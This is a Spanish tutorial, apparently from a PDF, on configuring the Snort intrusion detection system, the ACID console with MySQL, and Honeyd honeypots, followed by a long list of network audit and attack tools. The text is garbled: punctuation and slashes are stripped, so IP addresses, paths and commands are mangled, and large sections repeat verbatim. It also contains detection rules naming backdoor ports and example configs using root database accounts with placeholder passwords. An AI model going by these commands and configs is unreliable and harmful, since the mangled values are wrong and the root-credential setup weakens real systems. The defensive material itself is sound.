Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
